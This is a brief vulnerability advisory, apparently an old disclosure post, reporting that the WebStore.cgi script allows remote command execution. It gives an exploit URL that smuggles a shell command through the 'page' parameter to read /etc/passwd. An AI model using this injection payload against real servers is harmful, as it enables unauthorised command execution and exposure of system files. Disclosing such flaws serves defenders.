Web_Store.cgi allows Command Execution

WebStore.cgi allows Command Execution: This application was written by Selena Sol and Gunther Birznieks. You can execute shellcommands: http://www.victim.com/cgi-bin/webstore.cgi?page=.html|cat /etc/passwd| Zero X, member of www.Lobnan.de and www.Lostkey.org...